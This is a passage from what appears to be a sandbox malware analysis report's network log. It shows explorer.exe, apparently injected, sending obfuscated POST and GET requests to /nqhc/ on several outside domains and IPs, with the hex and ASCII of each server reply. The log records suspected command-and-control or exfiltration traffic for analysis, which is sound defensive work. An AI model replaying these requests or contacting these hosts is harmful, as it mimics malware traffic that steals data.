MT3Ae(dThHfRpn0G7ScKt2F6yXbdXEdBk(205~nedlPlaZOOkTb(Q9MQKcJXx9WdLSG8i7-JL0pBAjjsgp2fzgLgsX2dzbxD73bS7wkMmG1Yfu8sW3azq2INYMdL5KA4elWIinW20xgQf9Mi83yV_~-cqCCxFHtM6AmqPlHO9cZ4OoN~kdTBNzt5yLnjqwQkVRsiTBEGEhnDNXN1fp3TposxStV1e42R1ZUUp2P(D5pMfZAcFh6Dnq3HJ5H83G2wTQk~HrvKRD1U06huvwl~Wcxdy3IPZ~DRHuUIuk828K1eiDuXVp3SlJEO195jweklGODtfHnz4DV0gDlR2QBjWVMZgGzvDSUCN39N3QJSxdCtEZu9MaGBWpTNPEPa4cYYWH2j2rAifOMU2qezgMsrsSmtH~4Lhn3CBW6pr2SHNSMDxV3VQC5LkEoQEOPeVfQk9e5eTApTeD98m380DG_L77o6wNtlTy8jDrw2opZjPJ29gRWFC0UEdgHg_zyc_e9YthrNVa7(UYuamXPNAEQNrp0LZLjzqhk4edvZkY9AROUdXRfAqCiF7hKmGjLPKT2akT64cBzI3yT~l87fMlGKM8Fscf8lPh0ih4JvGMs4PueBQQcF5PNDjXgjsnBgsmBbR6YdzBXdhIc2JN3252OWKdEOP2dwT7UOiuLIT2l6Czln1QGE8qDR1EkaHZ0RSVlSlk9IA3c4XBtVH(m5ZhJUYKzCGjn2Zx2DseBsBJGFq(McaInz1sE2Op0CG(5j8S8Dc7qiq2ErgbI59wXxs(MANRe3o2wJsFyB1KifVSVLX0DeZ0_b8DLtm(DovUZmxWi7a4idHJxTWSkT-dAwHmRbNNJeu4xoM3bqERalQNawn5Rj3kBDqqROnCzfAubWsvpJETxOJZS6x9_ATvIBS~NZSZkxg3_d-QFeaiF8vmeYc9AAgdqHxTZ8A9QF5kS4kOe1Jsl8xelmTXiHC7RApZUxhIOQpm4KAEPhBOp7MIKmZlqhU0BsUVwEkFdaA50khYQ(Bk9BqQNv_BByw10F-ycykW5LOBwxt5iBB6hmPsNGWhDIXRxNqgPsIHFR0fnzYckRqy6uQ155Zlgfq8ZFG4eJ_IZtMcvABj3c_ZgMPYLr_z3qisdR9SbBNXpPb1DYzd3WQg0aSTnHqvNys(Hp6w7cKYEftgTlMUyrqI5b2XKF6H8nBeBfshFI9u692rIqHCEqMKTuBzAQvpWOACf~p8iHCFuT9xf(aIKpHfDhkB1WKEB6SzuMlX1I8dDDblh4e1Bdx2NfADeZmqqNVOju0qfMHC-IbPnK2R1xYfnBl~ECNFN5HQyLB
Dec 5, 2022 15:16:59.491230011 CET	11660	OUT	Data Raw: 48 54 58 56 35 44 63 62 67 64 6a 58 66 53 31 62 48 46 6e 67 46 5f 72 35 43 31 49 4c 68 7a 55 6e 53 6d 6b 46 7e 52 4f 76 50 4f 34 43 36 71 34 4b 6c 4b 4c 33 51 35 6c 69 37 45 54 5f 34 38 65 31 31 46 63 76 62 70 7e 4f 4e 50 64 52 39 2d 33 4f 30 48 Data Ascii: HTXV5DcbgdjXfS1bHFngF_r5C1ILhzUnSmkF~ROvPO4C6q4KlKL3Q5li7ET_48e11Fcvbp~ONPdR9-3O0HkAT4r5E30ARB7nMoSRB1KUDX4PH7Ub5KmwHf31yQoMNef74mAH3T7HfSGnK_LQle6u1Cr8ubqT5wA5mXRZzzlrK1PTyogfaB5B2Ugcf8laa8TGIY9k9yoj1SkIcGUzl5PtqcNGDmkUE2bgWa~v8YG3UxeS8JmPvFy
Dec 5, 2022 15:16:59.491296053 CET	11663	OUT	Data Raw: 72 58 37 76 51 34 36 49 45 51 57 5a 48 33 54 54 4c 4f 6c 64 37 45 75 4e 5a 30 7a 38 67 42 74 6d 38 4a 76 6c 4b 46 47 66 7a 68 78 35 75 77 38 71 55 62 58 4f 36 4f 32 6f 7a 55 45 44 47 6a 64 4a 7a 54 62 48 4b 58 71 61 66 58 71 4f 6f 64 5a 76 36 4b Data Ascii: rX7vQ46IEQWZH3TTLOld7EuNZ0z8gBtm8JvlKFGfzhx5uw8qUbXO6O2ozUEDGjdJzTbHKXqafXqOodZv6KBwMnf4fGfBCHqRUzb7XIFyAoH0cDFKTcL5BI3XPWIFdVMLXHclqFz7LGVEmAJAjifjYIwR8ke0saS_gbbmmgz7uBfel31nUbDvZ3ok6wl1VjZ5OksANyp5rbUK59NzJA5KzkqVosWQkVZ-sPKcuTqnAx4VhAbf1cl
Dec 5, 2022 15:16:59.509062052 CET	11666	OUT	Data Raw: 53 61 75 59 7e 61 67 49 6a 52 41 46 6f 79 76 53 6b 44 6a 76 43 61 37 59 65 6e 4b 71 32 67 4a 61 64 46 46 66 7e 38 35 67 39 6c 77 42 4c 35 53 4e 38 36 39 41 43 44 51 38 57 31 6a 6f 72 37 35 75 63 44 44 61 59 6f 66 7a 50 6b 38 59 61 52 6a 6c 70 68 Data Ascii: SauY~agIjRAFoyvSkDjvCa7YenKq2gJadFFf~85g9lwBL5SN869ACDQ8W1jor75ucDDaYofzPk8YaRjlphJvE1rNf1JszRS016(QtuxqIGeh(iPxfypLMNraG00Ig8kxLaC_lcx6kVwywCHzkldLpBXGhMU7zSGwnHp0godC1CKrXuDArV4jHQckfCYFtEDFjzBtJ13RhpeNYd(be0frw5Y8oJF2NRMu5JWjdlIKRY84R6wp0Nw
Dec 5, 2022 15:16:59.509094000 CET	11671	OUT	Data Raw: 6d 4c 61 46 65 45 55 78 44 49 41 62 43 32 58 43 49 6d 35 57 4b 51 70 59 5a 4d 30 6f 47 6b 67 53 63 50 4c 48 73 33 79 6b 42 47 4f 5f 6d 67 74 55 41 4b 64 51 74 5a 71 33 62 70 33 59 56 4b 36 6e 51 77 76 44 66 4d 6a 33 4a 67 47 30 4b 55 63 6f 54 67 Data Ascii: mLaFeEUxDIAbC2XCIm5WKQpYZM0oGkgScPLHs3ykBGO_mgtUAKdQtZq3bp3YVK6nQwvDfMj3JgG0KUcoTgx1371nVBNwx2Lg89CzSQI7wj(qxnRHrh~tLYZv28MVwgXtUMzOnZZNdiGbxRee9fVaa5bCdNq8MIWd4BM6M6KyttOl8nI6yAw3GnGA1163fB6iLOHNlKhqLNVxU4XznidyYYrWPpztytVcShnS7zP5jECdvmUIbGV
Dec 5, 2022 15:16:59.509335995 CET	11674	OUT	Data Raw: 30 68 50 72 55 58 50 6b 7a 41 35 7a 42 48 4b 4e 59 5f 37 6d 4e 63 64 52 42 75 47 35 62 30 4b 64 34 52 58 6f 58 4b 6e 74 46 39 32 61 6a 6e 41 36 54 64 35 75 41 47 61 45 32 74 4c 36 5a 32 78 5a 55 45 62 7a 7e 68 55 56 6f 64 66 48 42 68 59 2d 66 53 Data Ascii: 0hPrUXPkzA5zBHKNY_7mNcdRBuG5b0Kd4RXoXKntF92ajnA6Td5uAGaE2tL6Z2xZUEbz~hUVodfHBhY-fSSmzdDS2Qh6jQLHCFbL9oj-vp9KHeyMOVa7QUyorBaP52Gj~6MPO-OTKPXuzxFDpukWBmLylcNtLIb3a1jFVUy183bCzJjV1lYiPBO78ckBVYFVBmKM38yzAys4CtOFqafk7lcXFFTSxkIO9_THgf6427bHQ0ul6A2
Dec 5, 2022 15:16:59.509502888 CET	11680	OUT	Data Raw: 43 30 69 61 41 78 6d 2d 6b 5f 78 63 4b 51 45 31 7e 36 6a 72 58 34 48 39 77 31 63 48 44 47 71 6f 6e 51 6a 79 5a 6a 51 45 54 61 4c 32 33 66 49 44 53 68 31 6c 73 46 77 75 67 6c 42 53 79 33 48 4f 75 6f 53 41 32 68 4e 64 76 64 44 72 7e 5f 6c 76 6c 5f Data Ascii: C0iaAxm-k_xcKQE1~6jrX4H9w1cHDGqonQjyZjQETaL23fIDSh1lsFwuglBSy3HOuoSA2hNdvdDr~_lvl_Q1oALZ1Yja4lVOjZfC(RnvNy07u28Xh1IO4k~_D_9cgk7zjqGGA-OuQ2COTUvBzrEeysyUjHrhKgSLHmP64qQ65Zjrst62Kg44(JLUt0zxrFisABOhC97LCfH5h_4eh5LaCG3CRAKkQlYjb3bnLcJfJLTGNTB6w2J
Dec 5, 2022 15:16:59.509654045 CET	11689	OUT	Data Raw: 33 4b 4f 38 43 6f 37 43 62 6f 34 43 4d 6a 67 5a 59 34 54 4d 51 74 5a 31 4f 79 61 72 51 4b 7e 79 54 68 6a 4d 39 45 64 45 34 32 68 75 36 31 41 75 71 57 71 64 4a 71 65 32 64 61 6d 77 28 4c 32 65 4a 6c 6c 42 62 6c 4a 64 67 66 33 66 71 37 35 58 34 46 Data Ascii: 3KO8Co7Cbo4CMjgZY4TMQtZ1OyarQK~yThjM9EdE42hu61AuqWqdJqe2damw(L2eJllBblJdgf3fq75X4FHkR1TWrm5WsQ10jlR9sEDZRhEUM5Jnb1DMLUhaWwBYqkf32U(3rJzqSz8l(np4BIIdrdknX2c8NO7KE1e4i32s7rJgUxv1EW36bPf8U_TVX_49lbEqV0j-zDyvcXaRFaXPa_HiX06_sLvRqqhvLYdZtj5v2OPsB1Z
Dec 5, 2022 15:16:59.527086020 CET	11690	OUT	Data Raw: 75 31 35 50 4a 76 34 69 63 30 5a 33 75 68 47 5a 50 58 50 5a 58 57 67 57 59 72 38 66 6f 62 46 75 71 43 56 66 4d 75 62 45 6d 33 43 65 79 4b 5a 41 32 6d 38 64 56 44 58 43 58 70 42 63 4c 4f 31 76 6c 72 37 54 54 36 28 52 46 5a 4a 56 68 34 4c 31 73 38 Data Ascii: u15PJv4ic0Z3uhGZPXPZXWgWYr8fobFuqCVfMubEm3CeyKZA2m8dVDXCXpBcLO1vlr7TT6(RFZJVh4L1s815l4nSHHWcow5R6xzhaS2dhS7eX0Yu3gGcM5szy1AfWf8Vcus4dObAOEc6GRDEwQJjIkn3ow7-3hHI38lWVF0C2kYoezJYW_VFhCeiwL~amGg5457mWD0F1pHT9o6bVfWtoC~pDeYFg4pqBtyXFP1tn6lHvRzeqER
Dec 5, 2022 15:16:59.527133942 CET	11696	OUT	Data Raw: 4b 6f 66 48 36 42 47 47 62 38 47 44 37 36 5a 55 54 7a 69 51 46 73 46 68 69 74 39 42 66 54 54 58 47 59 48 5f 63 78 6b 58 45 6c 64 4c 71 58 71 4c 51 62 61 58 46 4c 33 46 4d 67 75 4e 44 6b 36 37 4f 30 59 6f 70 65 35 4a 64 36 34 76 75 62 62 51 59 4a Data Ascii: KofH6BGGb8GD76ZUTziQFsFhit9BfTTXGYH_cxkXEldLqXqLQbaXFL3FMguNDk67O0Yope5Jd64vubbQYJJjGZfiTwi3TeY-jm8PCdxE19aRNfjkhTDRWDca5gHX0bXoJy1SVdFnsgD4k5OIiV(S9xVMKLBUBwx3ePBVD3OdRfxJUcjXvvR9XK9gUw0xjt9MzvZJZzgqM-WDd-diLd53dlATb37Kz07IT2tz(OizkiyDLDxIzYi
Dec 5, 2022 15:16:59.527184963 CET	11702	OUT	Data Raw: 7e 54 71 71 55 46 77 64 54 7a 52 35 50 43 6e 5f 48 47 4d 74 69 34 79 53 45 47 33 46 36 62 55 6c 48 53 79 47 6c 69 5a 65 56 72 49 4b 78 62 70 52 4d 38 44 54 71 64 75 63 42 43 64 5f 44 51 66 48 31 46 65 68 79 36 35 36 6d 31 6b 74 72 35 6d 46 28 6c Data Ascii: ~TqqUFwdTzR5PCn_HGMti4ySEG3F6bUlHSyGliZeVrIKxbpRM8DTqducBCd_DQfH1Fehy656m1ktr5mF(lD9prFu(Ta1RglIYtqKPxA_zfSOGIExjsuio5Hlr4P-vmEm4FvYJx551mCw(AU5XlZNm3thlsnEDV9K91mPrnAeis06GDdI8oR_3TRg5wOcf5OtZmXiuuYgknqdhzzsCJ(YPP(hWAaL~EHOW6Vn(ttBNx0ARNlzs9p
Dec 5, 2022 15:16:59.545398951 CET	11703	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Mon, 05 Dec 2022 14:16:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close
Dec 5, 2022 15:16:59.545420885 CET	11703	IN	Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 Data Ascii: 92<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Dec 5, 2022 15:16:59.545562983 CET	11704	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.11.20	49879	194.245.148.189	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:17:01.537708044 CET	11704	OUT	GET /nqhc/?7nWHV=6/QR3dlMV8DnDzXq/IQFMQKijd2A7lxAIJkdxNKkhe40n6kgsPq7UgH72h9AXiRjRkbt4wliAP55gS4vzkyfbvVcBKnLGlwpJg==&t0D=yFNHS0IX HTTP/1.1 Host: www.apidachicago.org Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:17:01.556195974 CET	11705	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 05 Dec 2022 14:17:01 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1840 Last-Modified: Tue, 04 Apr 2017 13:56:46 GMT Connection: close ETag: "58e3a61e-730" Accept-Ranges: bytes
Dec 5, 2022 15:17:01.556291103 CET	11706	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> ... The above 3 meta
Dec 5, 2022 15:17:01.556406021 CET	11706	IN	Data Raw: 63 63 65 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6a 6f 6b 65 72 2e 63 6f 6d 2f 3f 70 6b 5f 63 61 6d 70 61 69 67 6e 3d 50 61 72 6b 69 6e 67 26 70 6b 5f 6b 77 64 3d 74 65 78 74 22 20 72 6f 6c 65 3d 22 62 75 74 74 6f 6e 22 3e 4a 4f 4b Data Ascii: ccess" href="https://joker.com/?pk_campaign=Parking&pk_kwd=text" role="button">JOKER.COM</a></p> </div> <footer class="footer"> <p>© 2017 CSL GmbH / JOKER.COM</p> </footer> </div> ... /container -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.11.20	49880	185.101.158.239	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:17:06.618046045 CET	11708	OUT	POST /nqhc/ HTTP/1.1 Host: www.funknive.ch Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.funknive.ch User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.funknive.ch/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 68 4e 41 6f 7a 4a 5a 58 6a 5a 4f 6b 7e 4f 61 78 46 4a 6b 4a 55 68 76 31 64 68 65 6e 71 4b 52 56 59 6b 55 63 6f 5a 36 64 57 61 44 30 54 55 63 58 55 78 7a 56 33 45 48 33 66 4a 39 47 64 57 6a 44 43 79 39 56 76 72 51 63 48 72 30 69 72 47 48 73 61 6d 56 41 62 67 63 75 52 45 70 76 44 5f 67 4f 69 51 69 4c 61 46 70 34 6b 4e 48 71 4f 73 6b 59 4f 79 48 36 53 45 70 72 68 49 49 6a 4a 64 38 72 6a 34 59 72 35 65 6c 38 6f 37 6e 77 4e 41 42 43 78 55 58 5a 33 63 76 6b 71 68 54 33 31 47 6a 5f 70 78 28 39 37 30 30 69 72 61 76 6e 65 72 47 30 52 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=hNAozJZXjZOk~OaxFJkJUhv1dhenqKRVYkUcoZ6dWaD0TUcXUxzV3EH3fJ9GdWjDCy9VvrQcHr0irGHsamVAbgcuREpvD_gOiQiLaFp4kNHqOskYOyH6SEprhIIjJd8rj4Yr5el8o7nwNABCxUXZ3cvkqhT31Gj_px(9700iravnerG0RA).
Dec 5, 2022 15:17:06.635468006 CET	11708	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 05 Dec 2022 14:17:06 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.funknive.ch/nqhc/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.11.20	49838	45.130.41.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:15:02.834558010 CET	11089	OUT	POST /nqhc/ HTTP/1.1 Host: www.searchbot.su Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.searchbot.su User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.searchbot.su/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 39 6a 5a 50 44 69 71 45 4a 47 6e 31 77 35 58 63 4b 78 6a 33 4a 4d 74 72 55 4a 61 52 6c 55 4b 56 30 70 74 4f 30 50 6f 36 35 37 71 38 66 37 30 44 6d 49 4a 38 44 57 66 6c 32 4a 69 76 37 76 75 4b 30 4e 6f 54 33 48 4c 61 63 59 70 58 48 53 4c 33 4a 68 6c 2d 42 54 66 4a 49 55 43 61 36 57 31 51 32 69 79 6f 35 59 51 50 73 4f 4b 4f 45 36 74 66 36 78 47 36 63 69 48 6c 57 6a 61 79 73 79 66 4e 6c 49 47 6f 4f 61 34 4d 78 32 71 51 34 54 63 59 44 69 6d 5a 6d 36 31 6e 37 63 79 46 4c 58 45 49 59 45 5a 79 55 77 73 34 7e 75 46 42 56 4d 34 5a 58 66 38 5f 50 32 32 6b 56 4c 50 52 6e 55 35 48 4f 54 48 65 51 6c 35 65 59 4c 76 58 4b 36 62 30 55 50 55 46 6d 7a 65 36 4f 33 33 74 47 43 73 6e 56 48 73 30 6f 76 71 30 6c 6d 78 4b 5a 36 71 38 67 72 6d 37 58 6b 30 46 54 6d 6a 6b 77 79 59 61 39 55 6f 54 71 78 44 73 50 6d 71 46 47 79 5a 48 66 6d 30 76 51 72 44 42 61 52 4c 2d 52 6e 56 30 78 31 53 53 50 71 32 77 62 67 4c 44 53 2d 34 44 55 43 6a 66 69 4c 7a 44 78 45 34 55 7a 58 39 44 4a 71 47 48 4a 4d 37 78 62 44 68 77 54 61 57 59 61 41 6f 48 63 36 78 34 33 4c 7e 69 6d 59 7a 79 73 4e 45 70 6c 4c 6b 67 78 6f 4e 61 36 5f 62 65 71 33 31 6f 74 43 6b 78 65 75 32 69 6e 6d 78 69 6e 72 56 67 48 72 35 7a 34 70 74 6e 54 67 4a 45 6d 61 78 75 37 36 47 56 44 31 39 49 68 61 42 7a 5a 64 7a 58 6b 42 34 5a 7a 47 54 57 4b 76 79 5f 28 37 72 67 65 49 4a 62 44 78 42 51 77 72 46 72 50 7a 76 33 4d 31 46 4d 39 76 50 35 55 4f 69 76 79 2d 65 32 33 31 47 6d 44 46 4a 48 6b 6d 76 56 63 70 4a 46 71 4c 69 31 69 50 4a 76 45 36 53 74 4d 51 43 4e 72 69 38 5f 4e 79 56 6a 74 39 63 66 54 73 6f 57 64 68 6f 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=9jZPDiqEJGn1w5XcKxj3JMtrUJaRlUKV0ptO0Po657q8f70DmIJ8DWfl2Jiv7vuK0NoT3HLacYpXHSL3Jhl-BTfJIUCa6W1Q2iyo5YQPsOKOE6tf6xG6ciHlWjaysyfNlIGoOa4Mx2qQ4TcYDimZm61n7cyFLXEIYEZyUws4~uFBVM4ZXf8_P22kVLPRnU5HOTHeQl5eYLvXK6b0UPUFmze6O33tGCsnVHs0ovq0lmxKZ6q8grm7Xk0FTmjkwyYa9UoTqxDsPmqFGyZHfm0vQrDBaRL-RnV0x1SSPq2wbgLDS-4DUCjfiLzDxE4UzX9DJqGHJM7xbDhwTaWYaAoHc6x43L~imYzysNEplLkgxoNa6_beq31otCkxeu2inmxinrVgHr5z4ptnTgJEmaxu76GVD19IhaBzZdzXkB4ZzGTWKvy_(7rgeIJbDxBQwrFrPzv3M1FM9vP5UOivy-e231GmDFJHkmvVcpJFqLi1iPJvE6StMQCNri8_NyVjt9cfTsoWdho.
Dec 5, 2022 15:15:02.921298027 CET	11089	IN	HTTP/1.1 404 Not Found Server: nginx-reuseport/1.21.1 Date: Mon, 05 Dec 2022 14:15:02 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 65 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d 8f c1 6a c3 30 10 44 ef fe 8a 6d 4e cd a1 5a 27 b8 d0 83 10 b4 b1 43 03 4e 6a 1a f9 90 a3 12 6d 90 21 b1 5c 49 ae db bf af ec 50 c8 65 61 76 df 0e 33 fc 21 ff 58 c9 43 55 c0 bb dc 96 50 d5 6f e5 66 05 b3 27 c4 4d 21 d7 88 b9 cc 6f 97 25 4b 11 8b dd 4c 24 dc 84 eb 45 70 43 4a 47 11 9a 70 21 91 a5 19 ec 6c 80 b5 ed 5b cd f1 b6 4c 38 4e 10 3f 5a fd 3b fe 2d c4 1d 13 55 c2 3b 21 0d 81 a3 af 9e 7c 20 0d f5 67 09 83 f2 d0 46 ee 3c 72 60 5b 08 a6 f1 e0 c9 7d 93 63 1c bb d1 c9 c5 a1 b4 76 e4 bd 78 ed d4 c9 10 2e 59 c6 9e 17 f0 58 b7 cd cf 1c f6 13 0e 2a c0 30 0c cc 93 72 27 73 b4 81 f9 1e 2a eb 02 bc a4 1c ff 0d 62 ce 29 61 cc 34 36 4b fe 00 08 94 dc 0d 14 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: e9Mj0DmNZ'CNjm!\IPeav3!XCUPof'M!o%KL$EpCJGp!l[L8N?Z;-U;!\| gF<r`[}cvx.YX0r'sb)a46K0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.11.20	49881	185.101.158.239	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:17:08.659539938 CET	11709	OUT	POST /nqhc/ HTTP/1.1 Host: www.funknive.ch Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.funknive.ch User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.funknive.ch/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 68 4e 41 6f 7a 4a 5a 58 6a 5a 4f 6b 78 4f 71 78 45 75 77 4a 46 78 76 79 42 78 65 6e 6b 71 51 53 59 6b 6f 63 6f 59 7e 4e 57 6f 58 30 64 56 73 58 58 77 7a 56 6b 30 48 33 4e 70 39 48 5a 57 6a 59 43 79 35 33 76 70 45 63 48 72 67 69 70 30 50 73 53 32 56 42 44 77 63 68 59 6b 70 71 48 5f 67 41 69 51 76 67 61 45 39 34 6b 63 28 71 50 74 49 59 4c 6a 48 6c 57 6b 6f 67 6e 49 49 67 43 39 38 6c 6a 5f 52 55 35 62 4a 47 6f 4b 6a 77 4e 67 68 43 67 6b 58 61 39 73 76 6e 31 52 53 56 6b 58 43 37 73 52 28 32 69 78 55 36 73 62 4f 56 4c 59 6e 34 42 49 6c 4b 6f 70 48 2d 49 6d 55 68 28 48 4f 45 35 61 75 4c 51 71 6a 36 58 77 42 50 42 36 67 59 71 34 6d 5a 7e 30 68 31 33 66 58 49 6a 4c 54 36 75 4e 6a 48 4a 66 66 65 6c 70 6d 32 55 73 4f 30 73 4e 35 67 35 79 4f 69 70 61 46 48 51 38 6c 48 58 33 6b 64 37 2d 34 6c 79 63 66 6f 64 69 79 31 6b 6e 28 34 72 37 6d 75 4d 4d 34 53 31 55 54 4e 67 72 6b 4c 47 69 28 51 63 6c 79 76 77 74 64 69 4c 44 54 34 75 59 62 36 45 74 4a 65 58 58 71 39 71 77 54 56 56 7a 64 30 63 5f 49 59 6e 6b 41 4c 62 75 4d 67 51 31 63 43 76 6f 37 65 71 48 69 41 55 52 37 32 78 4f 34 62 4f 41 77 6b 68 78 78 6c 53 6d 65 61 35 77 43 4d 6b 35 49 66 51 6b 6d 4f 6c 6e 32 4d 6b 78 7e 48 70 73 68 59 41 38 4f 53 42 75 35 70 62 71 50 6b 42 68 66 4c 6d 34 35 71 31 56 64 70 72 7a 5a 33 66 51 28 50 34 51 54 58 49 54 59 77 4f 50 71 57 72 4f 66 35 33 59 78 32 76 6d 7e 59 5a 79 30 33 71 58 4b 45 6d 4d 75 43 7e 4d 69 79 58 4f 36 5f 63 4e 38 68 50 4c 34 48 57 66 4a 33 52 51 6b 54 68 7a 51 45 6f 39 72 36 68 42 38 4b 6d 4e 59 38 76 6f 6d 4c 58 36 7e 4d 71 42 52 49 6e 38 34 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=hNAozJZXjZOkxOqxEuwJFxvyBxenkqQSYkocoY~NWoX0dVsXXwzVk0H3Np9HZWjYCy53vpEcHrgip0PsS2VBDwchYkpqH_gAiQvgaE94kc(qPtIYLjHlWkognIIgC98lj_RU5bJGoKjwNghCgkXa9svn1RSVkXC7sR(2ixU6sbOVLYn4BIlKopH-ImUh(HOE5auLQqj6XwBPB6gYq4mZ~0h13fXIjLT6uNjHJffelpm2UsO0sN5g5yOipaFHQ8lHX3kd7-4lycfodiy1kn(4r7muMM4S1UTNgrkLGi(QclyvwtdiLDT4uYb6EtJeXXq9qwTVVzd0c_IYnkALbuMgQ1cCvo7eqHiAUR72xO4bOAwkhxxlSmea5wCMk5IfQkmOln2Mkx~HpshYA8OSBu5pbqPkBhfLm45q1VdprzZ3fQ(P4QTXITYwOPqWrOf53Yx2vm~YZy03qXKEmMuC~MiyXO6_cN8hPL4HWfJ3RQkThzQEo9r6hB8KmNY8vomLX6~MqBRIn84.
Dec 5, 2022 15:17:08.676209927 CET	11710	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 05 Dec 2022 14:17:08 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.funknive.ch/nqhc/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.11.20	49882	185.101.158.239	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
